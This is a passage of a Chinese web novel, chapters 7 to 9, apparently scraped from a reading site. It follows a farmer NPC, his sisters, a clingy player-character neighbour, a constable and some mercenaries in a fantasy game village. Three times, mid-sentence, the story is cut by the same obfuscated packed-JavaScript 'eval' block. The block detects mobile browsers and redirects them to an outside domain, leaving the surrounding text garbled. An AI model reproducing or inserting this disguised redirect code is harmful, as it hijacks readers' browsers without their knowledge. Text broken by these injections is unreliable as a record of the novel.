“里夫死了哦,王蛇可是13级的怪物,而雾钟村从没有超过5级的NPC,不是谁都能像你一样好运的尤弥尔,他死了才正常。”里夫的尸体早在战斗中被蓝纹王蛇砸成一滩烂泥,黄昏薄雾毫不担心,他演技此刻大爆发,捂着胸口咳了半天,脸色愈加苍白,“尤弥尔,不要想着死掉的人,要多感激感激我才对。” “好好好我知道了我知道了。” 黄昏薄雾的意思尤弥尔明白,看来里夫没能从爆炸和蛇灾中活下来。 他没有责怪的意思,碧绿的眼睛湿润又温柔,他慌忙道:“好可怜啊黄昏先生,鞋子你想带走就带走吧,我会再想别的方式补偿你的,现在最重要的是我们要去看医生。” 【尤弥尔 对玩家黄昏薄雾507的好感度 +1】 黄昏薄雾顿时头也不疼了,咳嗽也好了,他一派平静:“不,我不去,看医生要花钱,不如直接死掉划算。” 怎么还有人讳疾忌医的?尤弥立即表示:“黄昏先生,这部分的钱请让我来出。” “你有钱?” “我有……啊!”尤弥尔突然惊叫出声。 尤弥尔是名农夫。 他收入的重要组成部分,是他的菜地,自家后院和与之相连的一小片土地,面积很小。 但这小小的土地一夜之间遭受沉痛的命运打击,先是遭遇里夫偷菜,而后是王蛇肆虐,再被隔壁废弃洋楼的爆炸波及。 对啊!被爆炸波及!! 尤弥尔立刻变了脸色:“这样吧黄昏先生你去找医生我随后就到我有重要的事我先走了!” 他要去看看他的地。 可怜的葡萄,可怜的南瓜,遭受这么多打击,他的菜不会全都死了吧? 7. 第 7 章 尤弥尔急忙跑到后院。 好消息是,被爆炸波及的范围并不大。 坏消息是,炸飞的菜再也回不来了。 后院西北侧被炸出一个缺口,栅栏倒伏,泥土翻出,尤弥尔站在中间慢慢用锄头刨土,刨出植物的残尸,留下可食用的部分,剩下的好好安葬。 不知道是不是错觉,他总觉得自己犁地的耐久性好像提高了。 刨着刨着,锄头触碰到了一个硬块。 菜园土质本就松软,如今更是因为事故变得比沙子好不了几分,尤弥尔的手一顿,随即快速翻动,没挖几下,就挖到那个让他感到疑惑的实物。 那是根看上去有点像竹笋的植物,但更坚硬,也更细长,尖端是白色的,越靠近末端颜色便越深,最后形成一种类似乌云的渐变灰色。 末端截口支出几条圆润的乳白色短须,大概是植物的根。 尤弥尔看了半天也没认出灰竹笋的学名,它不知来处,也没有归处,大概是被王蛇从山里卷来再掉进他家的,但看根须的状态应该还能活。他随手把灰竹笋往地里一插,再盖上泥,浇上水,准备过两天再来看看情况。 做完这一切之后,他一抬头,发现前面站着一个人。 看身形应当是个男人。 那他大概是一个和黄昏薄雾差不多奇怪的男人,明明是盛夏,却用斗篷和兜帽把自己裹得严严实实的,裸露在外的皮肤都缠上了绷带,防晒措施做得很彻底。 尤弥尔偏了偏头:“你好,有什么事吗?” 男人不说话,就像是他出现时那样静谧无声。 今天和盛夏的每一个晴天差不多,云卷云舒,日光灿烂,照在身上暖洋洋的,男人却站在废弃洋楼的阴影底下,他沉默着,和灰尘、和阴影融为一体,一步也不肯挪出。 但似乎也没有离开的意思。 雾钟村的常驻人口不多,尤弥尔轻而易举察觉到男人并非雾钟村本地人,他身上没有什么能证明身份的装饰,但衣料却是很少见的丝绸,尤弥尔只在来往的行商那见到过。 “你不是本地人,是跟随商队一起来的吗?”尤弥尔猜测,“你迷路了?” 这回男人终于有了动作,他点点头。 “商队在小镇广场附近,你要回去的话,可以过桥走那条路。” 尤弥尔指了一个方向。 男人随着尤弥尔指出的方向看过去,往来之间兜帽被牵动,窥见其下半张被绷带包裹、只能看出温润下颌线的半张脸。 湿润的风吹过。 他往前走了几步,伸出手,距离尤弥尔只差半个手掌的距离,而后像彻底从混沌中惊醒似的,一边后退一边向尤弥尔鞠躬,脸上的绷带似有拉扯但却没有声音,尤弥尔只能凭主观猜测是在说些道歉的话,堪称落荒而逃。 男人很快消失不见了。 真是个怪人。 但雾钟村的怪人很多,不差这一个两个的。 尤弥尔不是很在意,怪人只是生活方式奇怪了点,又不是什么坏人。他专心刨地,植物尸体摞成一捆,再没找到除了灰竹笋以外还能成活的植物。 就到这里吧,真是辛苦我自己了。尤弥尔抹去额头上的汗水,心想着,他把工具和菜抱在怀中,然后一回头。 “啊啊啊!” 吓一跳。 “你胆子真小,尤弥尔。” “所以说,不要老是躲在我身后吓我啊,黄昏先生。” 这是今天的第二次,尤弥尔都要无奈了,他本来就和黄昏薄雾气场不合,很容易被吓到,而今更是不知道黄昏薄雾什么时候居然发展出了惊吓这种爱好。 他调整好姿势:“身体最重要,黄昏先生你怎么还不去看医生?要是害怕的话一会我陪你去吧。” “我不害怕医生,我只是觉得还有性价比更高的生存方式,”黄昏薄雾蹲着说话,音调懒洋洋的,“而且我说了我现在很健康,是尤弥尔太大惊小怪了。” “那你怎么不回自己家?” “我要是离开了,又怎么看见别的男人勾引……”他换了个词,“向你搭话呢?” “什么?”尤弥尔愣了一下。 是在说刚刚那个绷带男人?他从头到尾都没说过一句话,也叫搭话吗? “这个世界很危险的,尤弥尔,谁知道他藏在绷带底下的到底是怪物还是通缉犯的脸,”黄昏薄雾说道,嘟哝的样子好像很不满,“像他这种连脸都不肯露出来的无礼之人,尤弥尔一定不会再理他的,对吧?” “可他看上去不像坏人啊。” “笨蛋啊笨蛋,人不可貌相的道理懂不懂?” 黄昏薄雾在地上画圈圈,低着头听不清他在说什么,只能听见“走了一个又来一个”,“讨厌的小妖精”,”“怎么总有人打断我和尤弥尔培养感情得想办法处理掉”的诸如此类的话。 他抬起头,鼻梁的黑痣在阳光下熠熠生辉,绽放的如同莲花般圣洁的笑容似乎有一种勾人的魔力,让尤弥尔很快忘记他似有若无的呢喃抱怨。 脑袋没完全恢复,幻听了吧? 黄昏薄雾的话乍一听没有毛病,都是为自己好,尤弥尔很快将起抛至脑后。 他抱着蔬菜,和躲在地上状若无辜的黄昏薄雾对视。 “尤弥尔,我饿了。”黄昏薄雾鼓起脸颊,浅粉的皮肤凸出柔软的两块。 他理直气壮:“毕竟我可是稍不注意就能把自己饿死的人,尤弥尔之前答应过要一直一直请我吃饭,现在一定不会放着我不管的吧。” “……等我浇完水就去做饭。” 角落农具就有水壶,日头渐渐升高,等尤弥尔浇完水,千丝万缕的风奏响盛夏蝉鸣。 “我们回去吧,黄昏先生。” 现在的时间是早上八点,对于一顿早餐来说不算晚。尤弥尔在收集的植物尸体堆中挑挑拣拣,后院的蔬菜和水果是混种的,一小块地种葡萄,一小块地种白菜,还有南瓜辣椒玉米之类五花八门的品种。 他把不能入口的去掉,块茎类的切成均匀的块,和鸡肉翻炒后加入牛奶慢炖,蔬菜切成小段,适时和淡奶油一起加入锅中,再加入少许白胡椒和盐。十分钟后,氤氲甘甜香气的田园奶油炖菜出锅。 “好香!” 黄昏薄雾忍不住揭开碗盖,和滚水一起沸腾陶瓷直接烫掉了他一小节血条。尤弥尔慢了一步,没能阻止,只能急忙将他拉到水槽下,用冰冷的井水冲刷本应烫红起泡的手指。 黄昏薄雾任由拉动,说不准到底水流和他的皮肤谁更加冰冷,无机质的目光略过手指,黄昏薄雾:“虽然尤弥尔关心我令我很开心,但是就这点小事,不用慌张。” 修长白皙找不到一点瑕疵的手指骤然在尤弥尔眼前放大,他听见黄昏薄雾的声音:“你看这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309998|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没事吗?” “……可那是滚水啊。”居然连点红印都没有。 “谁知道呢?”黄昏薄雾很有闲心,手指轻轻触碰尤弥尔鼻尖,落下一滴晶莹的水珠,和湿润的触感。 现在他又不说自己听不懂的坏话了,黄昏薄雾恶趣味地掸走尤弥尔鼻尖的水珠,他几乎快把整个身体压到尤弥尔身上,轻声道:“说不定是因为我天赋异禀。” 冰冷的怀抱一触即离。 黄昏薄雾很快变回懒洋洋的模样:“好饿,真的快饿死了尤弥尔,我们现在开饭吧。” “不行呀,玛丽琳和加嘉莉还没有来。” 几乎话音刚落,天花板便传来沉重的脚步声,随后,一位身形魁梧的女人出现在楼梯口,她打了个哈欠,然后在睁开眼睛的那刻发现了尤弥尔。 她立即化身蛮牛冲下楼,用胸肌和肱二头肌狠狠给尤弥尔来了一个热烈拥抱:“尤弥尔!你这小子可算醒了,这两天都给我急坏了!” “轻点轻点,姐姐,我觉得我快窒息了。” 尤弥尔的姐姐,玛丽琳。 火红的长发,火红的眼睛,火红的衣裙,玛丽琳的一切都是火红的。她应当不是纯种人类,有一部分巨人的血统,肌肉贲张,骨架偏大,比旁观的黄昏薄雾高了半个头,又比成年男子平均身高的尤弥尔高了整整一个头。 “嗨,哥们,”玛丽琳向黄昏薄雾打招呼,“你们刚刚干嘛呢?” 加嘉莉此时也已苏醒。 身穿素色睡衣的小姑娘揉着眼睛从三人中间走过,目标是自己的刀叉和碗,平静的声音没有一点波澜。 “他们两个在交流感情,被你打断了,姐姐。” “什么?!”玛丽琳的大嗓门响起,“你们两个背着家人谈恋爱了吗?” “不是,”这都什么跟什么啊,尤弥尔扶额,“姐姐,别擅自脑补我和黄昏先生之间的关系,我们之间很纯洁的。” 黄昏薄雾适时点头:“是啊是啊,虽然其实我很想和尤弥尔发展点别的独特的缠绵的关系,但是尤弥尔好像不愿意呢。” 玛丽琳转过来:“他为什么不愿意?” 玛丽琳转过去:“弟弟,你为什么不愿意?” 咚咚,咚咚,门口传来轻微的声响,似乎有客前来,但屋内太吵,敲门声被掩盖过去,谁也没人听见。 “我不是我没有我什么时候不愿意了,”好像这种说法也不太对,尤弥尔抱住脑袋,“诶不对不要说的我们关系很奇怪一样,我们不是朋友吗!” “我们是朋友?” 尤弥尔:“是啊。” “啊,难过,我要死掉了。” 他说的是实话,为什么黄昏先生撇了撇嘴一副难掩失望的表情。 但尤弥尔很确信他的姐妹们是在搅浑水,黄昏薄雾是在捉弄他,未免局势更加混乱,他一敲锅铲,小小的餐厅内顿时安静下来。 掌握锅铲的人果然拥有更高的话语权。 尤弥尔拿出一家之主的气势,努力板起脸宣布:“别吵了,吃饭。” 只有六岁的加嘉莉小朋友,在制造混乱的同时用隔热手套打开奶油炖菜的盖子,默默地给自己舀了一大勺最爱吃的菜。 也只有她,听见了门口的敲击声,慢腾腾地挪动小短腿,跑过去开门,完全无视屋内的大人。 “都是笨蛋。”她小声评价。 8. 第 8 章 在一片喧闹声中,尤弥尔家的门打开了。 “你好,”加嘉莉踮起脚,“你有什么事吗?” 门外的人挠了挠脸:“加嘉莉,你家大人在不在?” 加嘉莉脸上没有多余的表情,她总是这样,将活泼的一面留给家人,而相对冷漠的部分留给外人,或许这就是高智商儿童的普遍特征。 她盯着对面看了一会,鼻腔嗯了声,回头朝屋内提高音量:“姐姐、哥哥、黄昏哥哥,治安官先生来了。” 说完,光脚噔噔蹬跑进门,两根马尾辫在半空中晃荡,给客人徒留背影。 小村子不会配备过多警力,整个雾钟村总共就一老一少两名治安官。敲门的客人是年纪小的,也是前天尤弥尔曾认错的那位。他走进门,立刻头脑发昏,仿佛被什么蛊惑似的,眼睛不自觉地黏在黄昏薄雾身上:“好巧,黄昏先生也在。” 黄昏薄雾没说话,继续端坐在餐桌前吃早餐,礼仪优雅,冷漠疏离,连个眼神都欠奉。 刷满了好感度又怎样,他还记着尤弥尔把治安官错认成他的仇,他不会生尤弥尔的气,但会将这份过错迁怒到治安官身上,更何况玩家本就随心所欲。 还是尤弥尔主动上前:“现在是早饭期间,治安官先生,要和我们一起吃饭吗?” “啊?哦哦哦。” 像是被这句话打断,治安官才将目光从黄昏薄雾身上收回,道:“不用,谢谢你尤弥尔,看见你平安无事真是再好不过了。” “不用这么客气啦,治安官先生,多亏有你在。” “哪里的话,”年轻的治安官脸色涨红,“我除了封闭现场和通知村民之外什么也没做,还得是黄昏先生,一举消灭可怕的蓝纹王蛇……” “咳咳、咳咳!”黄昏薄雾突然咳嗽。 通过两次好感度加减,他发现在尤弥尔面前扮脆弱更能引起他的关心和同情。 “不要乱说话啊治安官先生,”黄昏薄雾一副虚弱的样子,谎言随口就来,“我只是运气好,赶到的时候王蛇已经被压在废墟底下快死了,顺势割断它的头颅而已。快死掉的王蛇也很吓人呢,你看我至今都没能完全缓好。” 尤弥尔无语:“你刚刚还说你很健康的。” “今时非彼时。”黄昏薄雾装模作样咳嗽两声,无辜道,“我现在又觉得胸口疼,喘不上气。” 他身子一歪,倒在尤弥尔身上,一本正经开始胡说八道:“尤弥尔,尤弥尔,看我这么可怜、弱小又无助,你一定要多多照顾我。” 好凉。 紧贴的皮肤冰凉得如同深秋时节山涧溪水,尤弥尔下意识僵住,他有些难为情,虽然黄昏薄雾是一个好邻居,也是一个好朋友,但好朋友之间会贴得这么近吗? 尤弥尔不懂,尤弥尔茫然,尤弥尔从未与他人有过如此亲密的距离。 但村子里大家都喜爱信赖的黄昏先生一定不会错的! 他忍住想要抽出胳膊的欲望:“那黄昏先生下午会去看医生的吧?” “嗯嗯一定。”黄昏薄雾不走心地回答。 其实尤弥尔的长相也属于精致漂亮的那一挂,和黄昏薄雾有系统加持的蛊惑和富有攻击性不同,他的漂亮柔和明朗,润物细无声。 此时他抬头望向治安官,眼睛闪亮,尽是璀璨的星辰,融化的春雪。 他轻声夸赞:“即使是封锁现场和通知村民也很厉害啦,谢谢你,治安官先生,如果没有你的话,说不定还会死人的。” 哐啷。 年轻的治安官自己都没注意到自己盯着的人不知何时从黄昏薄雾变成尤弥尔,踉跄之中,一脚踹倒椅子。 怎么回事? 尤弥尔想探身询问治安官有没有受伤,然而一只手不容置疑地掰过他的下巴,嘴巴被捏成小鸡模样,挡住治安官的身形,令尤弥尔无法抗拒地与一双幽暗漆黑的瞳孔对视。 黄昏薄雾浑身都在冒黑气:“不准看他,要看我。” “在别人家也毛手毛脚的,身为治安官就是这么粗鲁对待普通村民的吗,”黄昏薄雾喋喋不休地从嘴里冒出毒汁,“你看看他,尤弥尔,一直盯着别人看,真是太无礼了。” 说完,他还要转头向被骂得懵逼的治安官,恶狠狠道:“你来尤弥尔家是有正事的吧,一直在浪费时间,这就是你的工作态度?” 治安官百口莫辩:“我不是……” “那你怎么一直在和尤弥尔说话?”黄昏薄雾转头向尤弥尔咬耳朵,“他肯定对你别有企图。” 尤弥尔:“……” 治安官只是摔了一跤,黄昏先生有必要这么生气吗? 但总归而言在黄昏薄雾的胡搅蛮缠之下治安官不得不开口向尤弥尔一家阐述他上门的真实目的。 近期是商队途径雾钟村的日子,但和以往不同的是,这次来的人有点多。 村中心唯一的旅馆不够住,村长和老治安官觉得惹不起城里来的大人们,于是派年轻的治安官挨家挨户询问,能不能把空余的房间安排给商人们住。 之前默不作声的加嘉莉:“村里好像有很多空房子。” 有空房子的话,何必一定要住进别人家里。 治安官挠挠头,讪讪笑道:“这不是觉得那些房子里什么都没有,商队可能住不惯嘛……” 懂了。 得有人伺候这帮城里来的老爷太太们。 “按照正常旅馆价格付钱的,不是想让你们白白付出,”治安官慌忙补充,眼神又开始不自觉飘向黄昏薄雾,“黄昏先生,我记得你应该是一个人住的……” “难道随便什么阿狗阿猫都能进我家吗?那些家伙连踏进我家院子的资格都没有,”黄昏薄雾没骨头似地,抬手观察指尖,拒绝的意思很明显,“先说好了哦,进了我的院子,生死可全都由我说了算。” 先刷满好感度,看看上供的礼物是什么。 然后有价值的留下,没价值的全部干掉。 毕竟他又不是大慈善家。 虽然不及黄昏薄雾直截了当,但尤弥尔也是同样的意思,他的余光从治安官刚开始讲话便落在加嘉莉身上,小朋友在听见有人可能会住进他们家时皱了皱眉头,似乎不太喜欢被陌生人踏足领地。 于是他开口:“抱歉,治安官先生,我家总共三个房间,供我们兄弟姐妹刚好,实在没有空余了。” 姐姐玛丽琳也适时插嘴:“如果你们真找不到地方住,可以去我的酒馆大堂打地铺。” 她爽朗笑道:“只要钱给到位就行。” “……好吧,”见所有人拒绝,治安官勉强扁嘴,“那我再去别人家问问。” 他起身告辞,目光不经意地拂过尤弥尔,再流连黄昏迷雾恋恋不舍,但终归是到了离开的时刻,治安官穿好鞋子,走出玄关。 “等等。” “怎么了,尤弥尔,是改变心意了吗?” “不是不是,让你误会了不好意思。”尤弥尔向前微微躬身,灿烂的闪着太阳光辉的金色碎发便从胸口垂落。 他是想问清晨后院见到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309999|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪人:“我早上在附近见到一个商队的人,似乎是迷路了,我给他指明了方向,请问他最后顺利回到旅店了吗?” 按照尤弥尔给出的线索,治安官回忆,确实有这么个人,似乎还是商队内的大人物。 他说:“放心吧,他现在就在旅馆里。” “太好了。”尤弥尔松了口气,那人行踪诡异,到处乱跑,在四通八达的村里都能迷路,说不定转头就能迷路到大山深处,“最近山里不太安全,听见他平安无事我就放心了。” 他目送治安官离开,直到对方的背影消失在下一处门扉之后。还没转头就察觉到一只布满肌肉的胳膊压在肩头。 玛丽琳火红的发丝在眼前飘荡,她说:“尤弥尔,你下午应该没事吧?” 他想了想。 后院浇过水,成熟的作物采摘完毕,窖藏的酒桶和腌菜不需要处理,各类清洁用品暂时不缺,栅栏缺口要等材料到齐才能开始修。 “我有空的,姐姐。” “下午去酒馆帮我忙呗,”玛丽琳大力拍拍他的肩,和姐姐比起来尤弥尔就像颗缺乏营养的白菜,“你也听到啦,村子这次来了这么多人,酒馆可能会忙不过来,当然前提条件是你的身体得完全康复,我可不希望把我弟弟的身体累垮了。” “我哪有那么脆弱啊姐姐,”他在姐姐心里就这么易碎吗?尤弥尔无奈地叹了口气,“你别担心,等我收拾完家里就过去。” “行嘞,就这么说定了。” 酒馆一般在午饭后开门,营业时间直到晚上十点。只不过因为最近人多,玛丽琳格外忙碌,有时甚至会忙到晚上来不及回家,直接在酒馆过夜。 开门迎客前还有许多准备要做,没过多久玛丽琳便离开三人共同的家,加嘉莉则是回到自己房间狂补暑假作业。 等到尤弥尔收拾完客厅和餐厅,发现黄昏薄雾还没走。 “黄昏先生,你不回自己的家吗?” “我家你也知道的,”黄昏薄雾躺在沙发上,慢吞吞地换了个姿势,“只有硬邦邦的木箱,哪有你家里舒服。” 那也不是你一直呆在这里不走的理由啊。 尤弥尔:“可是我下午要出门。” “去哪?” 他把要去酒馆帮忙的事情刚一说完,只见黄昏薄雾立刻跳起来:“我也要去,带我一起吧尤弥尔。” “反正你答应我要带我去看医生的,我记得医馆和酒馆都是一个方向。”他眨眨眼,努力地表达“你不会食言吧”的委屈感。 “而且你也听到啦,那个没礼貌的治安官说,不知道为什么商队这次来的人特别多,特地强调了,是这次特别多!” 这又代表了什么呢? 尤弥尔不理解为什么懒洋洋的黄昏先生突然兴奋。 “因为‘异常’代表‘线索’,‘线索’指向‘事件’,‘事件’就意味着有‘任务’可接。” 尤弥尔太弱了,弱小到黄昏薄雾根本不放心他一个人呆着,可是24小时寸步不离根本不现实。就算他在尤弥尔身上放满了防御魔法和触发式陷阱,尤弥尔也还是有可能会在他来不及赶去的情况下默默死去。 “我必须去做任务啊,尤弥尔。” 有任务就有奖励,有奖励他能把奖励物品喂给尤弥尔,让他变强。这么浅显的道理尤弥尔都不懂,真是伤脑筋。但没关系,玩家自己就能搞定。 黄昏薄雾看向尤弥尔的目光格外认真:“带我去吧尤弥尔。” “我嗅到了任务的味道!” 9. 第 9 章 《晨曦之国》任务触发的方式一般分为两种。 一种是满足前置条件后系统自动触发,【调查废弃洋楼】任务就是这种方式,只要满足杀死雄性王蛇这一条件的第二天夜里就能自动接取。 另外一类任务则是要玩家自行探索,收集足够多的线索,或是从任务相关人的口中获取片面真相,系统判定玩家被深度卷入某一事件时,就能接到与之相关的任务。 “尤弥尔。”黄昏薄雾喊了声。 “嗯?” 任务意味着异常,通常来说,异常要么和宝藏有关,要么和怪物有关。黄昏薄雾依照经验向原住民尤弥尔询问:“最近村子发生过什么怪事吗?任何你觉得不对劲的事情都可以。” 抢在尤弥尔开口前,黄昏薄雾:“先说好,不准说蓝纹王蛇。” “……”尤弥尔委委屈屈,“那没有了。” 雾钟村地处偏远,远离繁华的城镇的同时也远离事端,尤弥尔仔细思考许久,都没发现除了前几天的飞来横祸之外,他的生活中有哪怕一件不寻常的事。 “有没有人一夜暴富?” “没有。” “有没有人失踪?” “没有。” “有没有人死亡?” “里夫算吗?” “都说了和蓝纹王蛇相关的不算啦,”黄昏薄雾飞快摇头,“真是奇怪,这没有那也没有,雾钟村什么时候这么和平了,没有奇闻轶事总有神话传说吧。” 到底是谁奇怪啊,村子和平不是好事吗? 尤弥尔觉得作为农夫的每一天都过得非常平静,相比之下,不喜欢和平黄昏先生才是奇怪的那一个。 但是直言恐怕会让黄昏先生气得跳脚,因此尤弥尔什么都没说,只是在路过小镇中心广场时,伸手轻轻扯了扯黄昏薄雾的衣角。 “干嘛?”黄昏薄雾被引导着抬头。 然后他看见了一具精心雕琢的巨大雕像。 那是晨曦女神的神像。 祂的神光创造万物,祂的恩泽遍及大地,连大陆的晨曦之名都是由女神赐予。尤弥尔眨眨眼,那意思很明显——有神明存在的世界,没有神话传说才是难以理解的事情吧。 黄昏薄雾:“……”总感觉自己被鄙视了。 “那你随便告诉我几件,我也是雾钟村的一员,总不能对你们的传说一点也不了解吧。”看似是追问,实则在赌气,黄昏薄雾气哼哼地双手抱臂,“什么都不知道的我说不定会被村子霸凌也未可知呢。” 诶?霸凌?真的假的? 尤弥尔想起他家隔壁院子堆满草坪的礼物,很明智地选择闭嘴。 雾钟村以晨曦女神神像为中心向四方延伸,这里就是整个村子最核心最热闹的地带,尤弥尔和黄昏薄雾从最北边的洋楼居民区而来,往东走是玛丽琳的酒馆,往西走是医馆。 面对神像尤弥尔停驻脚步,他望着女神在日光照耀下沉静的容颜,认真地想了想:“嗯……如果一对夫妻连续三十天在太阳升起的那刻虔诚向神像祈祷,那么女神便会在第三十一日赐予他们一个孩子。” “你在说什么?”黄昏薄雾没反应过来。 “你想知道的关于雾钟村的传说。”尤弥尔羞赧地低下头,纤长的睫毛遮挡住一小片阳光。 清脆的空灵的尾音被灼热海风吞掉,他的嘴角勾起比云卷还要浅的弧度,说:“无论黄昏先生想知道什么,我都会告诉你的。” “因为我们是朋友啊。” 黄昏薄雾倏忽怔忡,向来嘴上不饶人的他此时竟然什么也说不出来,喃喃着,唯一能做的事就是由着尤弥尔继续。 “如果在没有人的道路捡到一枚古董铜镜,镜子里的人影还会发出诡异的笑声,那么捡到的人最好将其放在女神脚边,女神会净化其中的诅咒。” “知道镜子有诡异笑声还非要捡起来的人是不是脑子有毛病?”黄昏薄雾吐槽,“当然,是除我之外的人。” 明知有问题还不主动撞上去的人不配当一个好玩家。 这也勉勉强强算一个吧,黄昏薄雾记下了,追问道:“还有吗?” 尤弥尔再一次陷入深深的思考,他本就不是对这类传说感兴趣的类型,因此这次从脑海挖掘的时间格外久,久到棉花糖般的云朵遮住头顶太阳,随后不远处一只奇形怪状的白色热气球撑起形状,在哀伤悲悯的歌声中慢慢升入天空。 “那边我们就别过去了吧。”尤弥尔突然拉住黄昏薄雾说道。 “为什么?” “再往前走,是村长和村长亲戚的家。”他垂目低声,声音像是也被歌声染上一丝哀愁,“里夫是村长的侄子。” 活着的人总是要多承担一份责任,即使尤弥尔自认为他与里夫的死无关,也很气愤里夫的流氓行径,但事实就是他从蓝纹王蛇的袭击中活下来,里夫却没有。 “我不想出现在里夫家人面前。”他们看见活着的尤弥尔会伤心的。 凝望热气球,尤弥尔随之解释道:“那个气球是独角兽的形状。” 海滨地带流传着关于独角兽的传说。 “传说当人在森林里濒死时,洁白的独角兽就会出现在他面前,为一个纯洁的灵魂献上祝福,令他起死回生,恢复如初。” “所以在雾钟村,有时会在葬礼上放飞独角兽形状的风筝或气球,以此祈祷真的会有独角兽踏着云彩降临,让死者的亡魂从地狱中归来。” “但这些都是假的啦。”尤弥尔抿了抿唇,眼睛眯成一个轻微但好看的弧度,“死者已逝,他们不会再回来了。” “有趣的故事。”黄昏薄雾两手一摊,“但听上去好像没有用哦,尤弥尔。” 那就只能再好好想想了。 他不知道黄昏薄雾收集这些虚无缥缈东西的用意,但他知道午饭的时间已过,玛丽琳的酒馆到了营业时间,而黄昏先生的目的地与他不同,他要先去找医生看看头疼胸闷等问题。 “诶,”黄昏薄雾尾音长长又长长,明显不愿意分离,“我先去酒馆再去医院也是一样的啊。” “我们一定要在广场中心拉扯吗?” “去别的地方拉扯也行。” 尤弥尔:“……” 黄昏先生可真是喜欢胡搅蛮缠,口口声声说着自己柔弱,但抓住他手腕的手可是疾速又灵活,躲都躲不开。 躲不开就只好靠说服,正当他劝说黄昏薄雾劝说得嘴巴都要干了的时候,酒馆方向蓦然传来一阵咒骂,随后是玻璃陶瓷崩碎的声音,一名女性身影出现在酒馆门前,骂骂咧咧口吐芬芳。 “傻*!”玛丽琳双手皆是国家通用友好手势,“你以为老娘想做你们这帮杂种的生意啊?生孩子没**,**养的家伙,妈的伸手敢伸到我店里来!” 怎么了这是? 和玛丽琳对峙的是一帮外来人士,都是纯血人类,黑绿相间的无袖皮甲,裸露的褐色皮肤或多或少都有些伤疤,既不像行商也不像商队中的保镖,嗜血狠厉的表情反倒看上去更像刀口舔血的佣兵。 玛丽琳才不怕这帮人:“就你们这帮人还想住我店里?我呸!我这是酒馆不是救助站,***!抢食的流浪狗也配?!” 午后广场附近人流不歇,酒馆多多少少接待了些客人,与玛丽琳相熟的人在她身后小声劝阻她不要逞口舌之快。 “他们看着不像好人”,“都是亡命徒”,“有刀”,“还有弩”,“说不定还有魔法师”……窃窃私语传遍整个中心广场,气氛顿时降到冰点,一时之间竟僵持住了。 尤弥尔赶忙跑到姐姐身前,就算没有姐姐能打也要给姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310000|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑腰。 他小声询问:“出什么事了?” “没事,一帮管不住手的雇佣兵,欺负我店里的女招待,我看不过眼,”玛丽琳余光狠狠盯住这帮人,侧身给尤弥尔解释,安慰道,“不用担心,没真打起来,我就是骂骂他们出气。” 这帮人有男有女,数量并不少,有二十来个,每一个看上去都比杀死蓝纹王蛇的黄昏薄雾更能打。 尤弥尔有点紧张,但他还是坚持站在玛丽琳身前,尽管他的体型只能掩盖玛丽琳高大健壮身躯的一部分。 同时又在庆幸。 看来这帮佣兵就是治安官口中旅馆塞不下想要往村民家中塞的人,幸好没有让他们住进来,即使说他偏见或是双标,他也不敢放心加嘉莉和这些人处在同一屋檐下。 双方就此在店门口对峙,谁也没再开口,尤弥尔紧紧拉住姐姐的胳膊,他的心脏砰砰跳,却强行绷住脸,妄图用微不足道的气势恐吓对面胆敢欺负他姐姐的佣兵们。 “小事,都是小事。” 佣兵团中一个男人挺身而出,他看上去年长些许,气势稳重圆滑,并不锋利到令人觉得心惊胆寒。 尤弥尔猜测这人应当是佣兵团的首领,因为他紧接着在人群中低语几句,佣兵团立刻退后,紧绷嗜血的战意如云雾被一吹就散去。 他们竟然示弱了! “我家孩子不懂事,给你们添麻烦了,抱歉抱歉,”男人微笑着说,“也给老板娘和那位招待小姐道歉,我们初来乍到,不想在雾钟村惹事,不如我看各退一步吧。” “也行吧。”玛丽琳偷偷冲尤弥尔和藏在角落里的女招待点头,她冷哼一声,大方表示,“不过你们别想住我的店。” 佣兵团中有不满:“地毯脏的跟抹布差不多,你以为你这破店我很想住吗?” “什么?!” 眼看着玛丽琳提高音量,即将开始下一轮狂风暴雨的咒骂,佣兵首领连忙拉住身后几人:“行了行了,都别废话了,我们走。” 首领的话佣兵们还是听的,他们不情不愿地被推着走,顺着围观人群的豁口离开,再被人流和建筑物遮挡,很快消失在尤弥尔的视野之中。 争端结束。 尤弥尔长舒口气,他还记挂着黄昏薄雾想要了解雾钟村神话传说的事,抬脚便往酒馆大堂内走。姐姐比他年长,比他与村民打交道得多,想来应该知道更多隐秘有趣的故事。 只是。 他又被拦住了。 面前的面孔仍然是陌生的,但衣料却有些眼熟,仔细端详后发现是往来商队商人常穿的丝绸。拦住他的人客客气气的,询问他有没有空,能不能和商队的贵客见上一面。 “贵客?”尤弥尔好奇,“是谁呢?” 那人答非所问:“在二楼。” 二楼? 